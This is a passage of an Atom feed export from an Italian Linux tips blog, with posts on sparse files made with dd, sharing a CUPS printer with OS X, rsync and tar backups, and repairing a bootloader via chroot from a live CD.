citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-4540221468038429140?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/4540221468038429140/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=4540221468038429140' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4540221468038429140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4540221468038429140'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/02/openofficeorg-320-osx-ppc.html' title='OpenOffice.org 3.2.0 OSX (ppc)'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_gXDO-PJ7xJM/S3vEmerxQ7I/AAAAAAAAAG8/zc0B7UqZDpA/s72-c/opneoffice.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-3312317592010648643</id><published>2010-01-23T16:30:00.007+01:00</published><updated>2010-02-06T10:05:32.850+01:00</updated><title type='text'>Scattered file</title><content type='html'>Ci sono molti modi per scrivere un file, e una buona parte di essi si basa su dd.&lt;br /&gt;Con dd possiamo manipolare molteplici informazioni: lunghezza, dimensione,&lt;br /&gt;numero di blocchi..&lt;br /&gt;Insomma, e' un tool dalle mille potenzialita'.&lt;br /&gt;Una di esse e' la possibilita' di creare "scattered" (sparpagliato, rado) file,&lt;br /&gt;cioe' un file di dimensione definita X, ma di dimensione reale Y.&lt;br /&gt;Ovviamente, la X sara' sempre maggiore di Y.&lt;br /&gt;&lt;br /&gt;dd if=/dev/zero of=/dir/file bs=1 count=1 seek=300M&lt;br /&gt;&lt;br /&gt;Ho un file lungo 300M di cui solo 1 byte è scritto e il resto non viene allocato sul disco&lt;br /&gt;$ ls -lh mostra la dimensione del file (-h=human readable)&lt;br /&gt;&lt;br /&gt;-rw-r--r-- 1 riccardo riccardo 301M 2010-01-05 11:52/dir/file&lt;br /&gt;&lt;br /&gt;$ ls -lhs mostra l'occupazione del file su disco (parametro -s)&lt;br /&gt;12K -rw-r--r-- 1 riccardo riccardo 301M 2005-05-05 11:52 /dir/file&lt;br /&gt;&lt;br /&gt;Utilita' ? La creazione di immagini per filesystem che si "auto-espandono" (riempono cioe' lo spazio loro assegnatogli) pian piano che si inseriscono dati.&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-3312317592010648643?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/3312317592010648643/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=3312317592010648643' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3312317592010648643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3312317592010648643'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/01/scattered-file.html' title='Scattered file'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-8292893955531452720</id><published>2010-01-14T19:26:00.003+01:00</published><updated>2010-01-14T19:41:40.452+01:00</updated><title type='text'>Condividere stampanti tra Linux e OSX</title><content type='html'>&lt;div&gt;In quanti di voi hanno una stampante su una linuxbox, e usate CUPS per gestirla? In molti, credo.&lt;div&gt;In quanti di voi, oltre alla suddetta linuxbox, hanno anche un computer con OS X sopra? Un po' di meno, immagino.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Beh, per quelli di voi che hanno quanto ho appena elencato, c'e' un modo (ovviamente) per usare da OSX la stampante attaccata sulla linuxbox, ma non e' (come al solito) intuitivo fare il setup.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I passi sono i seguenti:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Aprire Preferenze di sistema&lt;/li&gt;&lt;li&gt;Stampanti e fax&lt;/li&gt;&lt;li&gt;Aggiungere una stampante&lt;/li&gt;&lt;li&gt;Cliccare +, per aggiungerla&lt;/li&gt;&lt;li&gt;Andare su IP&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La finestra e' simile a questa:&lt;/div&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_gXDO-PJ7xJM/S09lKWO4N8I/AAAAAAAAAGM/lOqV0T53kpI/s1600-h/osx-cups.jpg" style="text-decoration: none;"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 289px;" src="http://3.bp.blogspot.com/_gXDO-PJ7xJM/S09lKWO4N8I/AAAAAAAAAGM/lOqV0T53kpI/s320/osx-cups.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5426667304445818818" /&gt;&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In protocollo mettere IPP, l'indirizzo e' quello della linux box nella forma http://linux-box:631, e in queue ci va (non intuitivamente) printers/nome-stampante  .&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Scegliete il nome, e come Driver usare il driver Postscript generico.&lt;/div&gt;&lt;div&gt;Fatto questo, Cliccate su aggiungi e dovreste avere una nuova stampante disponibile. Provate ora a lanciare una stampa di prova...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-8292893955531452720?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/8292893955531452720/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=8292893955531452720' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/8292893955531452720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/8292893955531452720'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/01/condividere-stampanti-tra-linux-e-osx.html' title='Condividere stampanti tra Linux e OSX'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_gXDO-PJ7xJM/S09lKWO4N8I/AAAAAAAAAGM/lOqV0T53kpI/s72-c/osx-cups.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-3244080570051146943</id><published>2009-05-11T11:23:00.002+02:00</published><updated>2009-05-11T11:32:31.699+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='backup linux rsync'/><title type='text'>Rsync: Ancora backup</title><content type='html'>Riparto prendendo spunto da un altro blogger, che e' stato molto piu' chiaro e coinciso di quanto avrei fatto io:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style=" color: rgb(51, 51, 51);  line-height: 16px; font-family:'Lucida Grande';font-size:12px;"&gt;&lt;p&gt;inizio con il riportare la &lt;a href="http://a2.swlibero.org/a2277.htm#almltitle2927" target="_blank" style="color: rgb(0, 102, 204); text-decoration: none; "&gt;definizione&lt;/a&gt; di &lt;strong&gt;Rsync&lt;/strong&gt; scritta su &lt;a href="http://a2.swlibero.org/" style="color: rgb(0, 102, 204); text-decoration: none; "&gt;Appunti di informatica libera&lt;/a&gt;.&lt;/p&gt;&lt;blockquote style="color: rgb(119, 119, 119); margin-top: 15px; margin-right: 20px; margin-bottom: 5px; margin-left: 20px; padding-left: 25px; border-left-width: 8px; border-left-style: solid; border-left-color: rgb(153, 204, 255); padding-top: 5px; padding-right: 10px; padding-bottom: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-top-color: rgb(153, 204, 255); border-right-color: rgb(153, 204, 255); border-bottom-color: rgb(153, 204, 255); background-image: url(http://maurizio.mavida.com/wp-content/themes/miziomon2/images/quote.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: rgb(221, 238, 255); background-position: 0% 0%; "&gt;&lt;p&gt;&lt;strong&gt;Rsync&lt;/strong&gt; è un sistema di copia tra elaboratori (o anche all’interno del file system dello stesso sistema locale), in grado di individuare e trasferire il minimo indispensabile di dati, allo scopo di allineare la destinazione con l’origine. L’uso di questo programma è molto semplice ed è simile a quello di &lt;strong&gt;rcp&lt;/strong&gt; (Remote shell copy) o anche di &lt;strong&gt;scp&lt;/strong&gt; (Secure shell copy).&lt;/p&gt;&lt;p&gt;L’aggiornamento dei dati, in funzione delle opzioni utilizzate, può basarsi sul confronto delle date di modifica, delle dimensioni dei file e anche sul calcolo di un codice di controllo (checksum). In linea di principio, a meno di utilizzare opzioni che specificano qualcosa di diverso, non conta il fatto che i dati siano più recenti o meno, basta che questi siano diversi per ottenerne il trasferimento.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Alla luce di quanto scritto personalmente lo trovo un buon sistema per effettuare dei backup dove non ci sono problemi di spazio ( in quanto la copia viene fatta 1 a 1 con l’originale )&lt;/p&gt;&lt;p&gt;Supponendo di voler effettuare il backup della directory &lt;em&gt;/home&lt;/em&gt; su&lt;em&gt;/backup_giornaliero&lt;/em&gt; possiamo semplicemente scrivere :&lt;/p&gt;&lt;p&gt;&lt;code style="font: normal normal normal 11px/normal 'Courier New', Courier, Fixed; "&gt;rsync -a -v --delete /home /backup_giornaliero&lt;/code&gt;&lt;/p&gt;&lt;p&gt;questo il significato dei parametri …&lt;/p&gt;&lt;ul style="margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; list-style-type: none; list-style-position: initial; list-style-image: initial; "&gt;&lt;li style="margin-top: 7px; margin-right: 0px; margin-bottom: 8px; margin-left: 10px; "&gt;-a duplica anche le sottodirectoy in modo ricordsivo&lt;/li&gt;&lt;li style="margin-top: 7px; margin-right: 0px; margin-bottom: 8px; margin-left: 10px; "&gt;-v ci da il dettaglio dello svolgimento della copia&lt;/li&gt;&lt;li style="margin-top: 7px; margin-right: 0px; margin-bottom: 8px; margin-left: 10px; "&gt;–delete cancella i file sotto /backup_giornaliero che non esistono in /home&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Ma come possiamo automatizzare questo comando ?&lt;br /&gt;Io ho usato &lt;strong&gt;cron&lt;/strong&gt;.&lt;br /&gt;( per una guida in italiano vi suggerisco questo &lt;a href="http://www.diludovico.it/guide/cron.shtml" target="_blank" style="color: rgb(0, 102, 204); text-decoration: none; "&gt;link&lt;/a&gt; )&lt;/p&gt;&lt;p&gt;Ho editando il file &lt;em&gt;/etc/&lt;a href="http://maurizio.mavida.com/tags/crontab/" class="st_tag internal_tag" rel="tag nofollow" title="Post marcati con crontab" style="color: rgb(0, 102, 204); text-decoration: none; "&gt;crontab&lt;/a&gt;&lt;/em&gt; e aggiunto questa riga:&lt;/p&gt;&lt;p&gt;&lt;code style="font: normal normal normal 11px/normal 'Courier New', Courier, Fixed; "&gt;0 23 * * * root rsync -a -v --delete /home /backup_giornaliero&lt;/code&gt;&lt;/p&gt;&lt;p&gt;In questo modo ogni giorno alla 23.00 viene fatto partire &lt;strong&gt;rsync&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Grazie a &lt;a href="http://maurizio.mavida.com/2005/08/09/backup-con-rsync-e-crontab/"&gt;Maurizio Mavida&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-3244080570051146943?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/3244080570051146943/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=3244080570051146943' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3244080570051146943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3244080570051146943'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2009/05/rsync-ancora-backup.html' title='Rsync: Ancora backup'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-4170263230118669557</id><published>2008-11-25T15:17:00.003+01:00</published><updated>2010-01-14T19:44:36.868+01:00</updated><title type='text'>Backup? No problem</title><content type='html'>&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;In quanti si sono sentiti ripetere, dopo l'ennesimo blackout, ( vi aspettavate "cambia filesystem e metti &lt;/span&gt;&lt;/span&gt;&lt;a href="http://it.wikipedia.org/wiki/Ext3"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;ext3&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; al posto di &lt;/span&gt;&lt;/span&gt;&lt;a href="http://it.wikipedia.org/wiki/ReiserFS"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;reiserfs&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;" ... lo so che ve l'hanno detto - ed hanno ragione - ma la frase e' un altra.. )&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;" FAI IL BACKUP DEI TUOI DATI " ?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;In molti lo so.. il mio prof di Sistemi Operativi lo diceva sempre.. persino quando gli chiedevo se potevo portargli il PC per fargli vedere il mio nuovo driver della ventolina del PC.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Beh, il senso del post, oltre a mettervi paura, e' quello di insegnarvi un nuovo comando per backuppare i vostri dati. Si, direte voi, a cosa mi serve? Ho scaricato l'ultima versione di Copio&amp;amp;&amp;amp;Salvo 3.0.3 ( e l'ho crackata.. anche se e' GPL mi piace crackare i programmi coi serialZ trovati sui siti di wareZ ) che funziona benissimo.. Oppure state usando cp da tempo immemore, ( non nomino dd perche' solo chi non ha cervello usa dd per backuppare i dati ) cosa che va piu' che bene ma che si puo' fare in un modo molto piu' veloce. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Innanzitutto, il comando e' questo:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;(cd /src/dir &amp;amp;&amp;amp; tar cf - . ) | ( cd /dst/dir &amp;amp;&amp;amp; tar xf -)&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Quelli di voi che conoscono gia' la bash e il comando tar puo' gia' dire " Accidenti, e' vero! ", copiare / incollare la riga sopra nel loro scriptino in cron e chiudere il browser.&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Per tutti gli altri, direi di studiarsi la nozione di &lt;/span&gt;&lt;/span&gt;&lt;a href="http://it.wikipedia.org/wiki/Pipeline_software"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;pipeline&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;: Una volta assorbita, possiamo capire che il nostro comando entra nella directory da copiare, e se cio' ha successo ( le &amp;amp;&amp;amp; sono l'and logico in bash, eseguo solo se il comando prima e' ritornato con VERO ) eseguo tar con i parametri c ( create ) e f ( file ). Il - sta ad indicare lo stdout e il . la directory corrente. Cioe' creo un archivio della directory corrente sullo stdout, lo passo attraverso pipeline al comando che mi entra nella dir di destinazione e, se cio' ha successo, avvia tar, con opzione x ( extract ) ed f ( file ). Il - in questo caso indica stdin; quindi estrae l'archivio passatogli da stdin ( e la pipeline fa proprio questo, unisce stdout del primo comando allo stdin del secondo ).&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 24.0px Arial"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Abbiamo backuppato i nostri dati nella nostra directory di destinazione; il tutto in modo molto piu' veloce rispetto all'aver usato solo cp ( fate una prova con time ... ). Come esercizio per casa, provate a capire il perche' di questa velocita' in piu' .&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-4170263230118669557?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/4170263230118669557/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=4170263230118669557' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4170263230118669557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4170263230118669557'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2008/11/backup-no-problem.html' title='Backup? No problem'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-5668967025440601205</id><published>2008-11-25T14:49:00.005+01:00</published><updated>2008-11-25T15:15:40.134+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Fix'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bootloader'/><category scheme='http://www.blogger.com/atom/ns#' term='chroot'/><title type='text'>Sistemare il bootloader / Fixing the bootloader</title><content type='html'>&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;Mettiamo di aver scasinato il &lt;a href="http://it.wikipedia.org/wiki/Bootloader"&gt;bootloader&lt;/a&gt;; ma scasinato pesantemente, tanto che non riuscite ad avviare piu' il vostro sistema preferito.&lt;div&gt;Piuttosto che reinstallare tutto ( a mo' di esperto windows ) proviamo a sistemare questo problema.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Prendiamo una &lt;a href="http://it.wikipedia.org/wiki/Live_CD"&gt;distro live&lt;/a&gt; a _casaccio_ dal nostro archivio personale ( leggasi: dalla pila di CD di fianco al monitor ) e infiliamolo nel nostro bel lettore CD, bootiamo da quest'ultimo ed entriamo nel nostro bellissimo sistema live.&lt;/div&gt;&lt;div&gt;Da notare che noi di &lt;a href="http://it.wikipedia.org/wiki/X.Org"&gt;X&lt;/a&gt; non ce ne faremo nulla; percui, se volete velocizzare e non aspettare che le vostre noccioline diventino piantine, cercate di avviare la live senza farlo partire . &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Sto aspettando che abbiate una shell. Ce l'avete? Vedete il bellissimo # (cancelletto) che indica di stare in una shell di root? Presumo di si'.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ora, i passi consistono nel montare la nostra partizione di / , montarci in bind sia la directory /dev/ che /proc e poi &lt;a href="http://it.wikipedia.org/wiki/Chroot"&gt;chrootarci&lt;/a&gt; dentro, fare le nostre modifiche per sistemare il bootloader, e riavviare.&lt;/div&gt;&lt;div&gt;Le operazioni sopra riportate, sono tradotte dai seguenti comandi *sh like:&lt;/div&gt;&lt;span class="Apple-style-span"   style="color: rgb(70, 73, 77);   font-family:verdana;font-size:11px;"&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: monaco, 'bitstream vera sans mono', 'courier new', courier, monospace; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;mount /dev/hdd1 /mnt&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: monaco, 'bitstream vera sans mono', 'courier new', courier, monospace; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: monaco, 'bitstream vera sans mono', 'courier new', courier, monospace; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;mount --bind /dev/ /mnt/dev &lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: monaco, 'bitstream vera sans mono', 'courier new', courier, monospace; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: monaco, 'bitstream vera sans mono', 'courier new', courier, monospace; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;mount -vt proc proc /mnt/proc &lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: monaco, 'bitstream vera sans mono', 'courier new', courier, monospace; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color: rgb(70, 73, 77);   white-space: pre; font-family:monaco;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;chroot /mnt&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Stiamo montando /dev/hdd1 ( ho presunto che la vostra / si trovi nella partizione hdd1; se cosi' nonfosse, modificate pure e sostituiteci la vostra partizione di / ) sotto /mnt, con anche /dev/ e proc;ed abbiamo chrootato /mnt, in modo da farlo diventare " il nostro sistema ". Ora le modifiche che farete non interesseranno la live, ma il vostro sistema: Lo avete indietro in tutto e per tutto! Se la live ha riconosciuto l'accesso ad internet, avete internet nel vostro sistema chrootato, e cosi' via.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;span&gt;&lt;span&gt;Molto bene, adesso potete fixare il problema che avete causato. Non sapete come risolvere?Beh, questo si' che non e' affar mio.. potete considerare di reinstallare windows, se vi garba.&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;L'avete 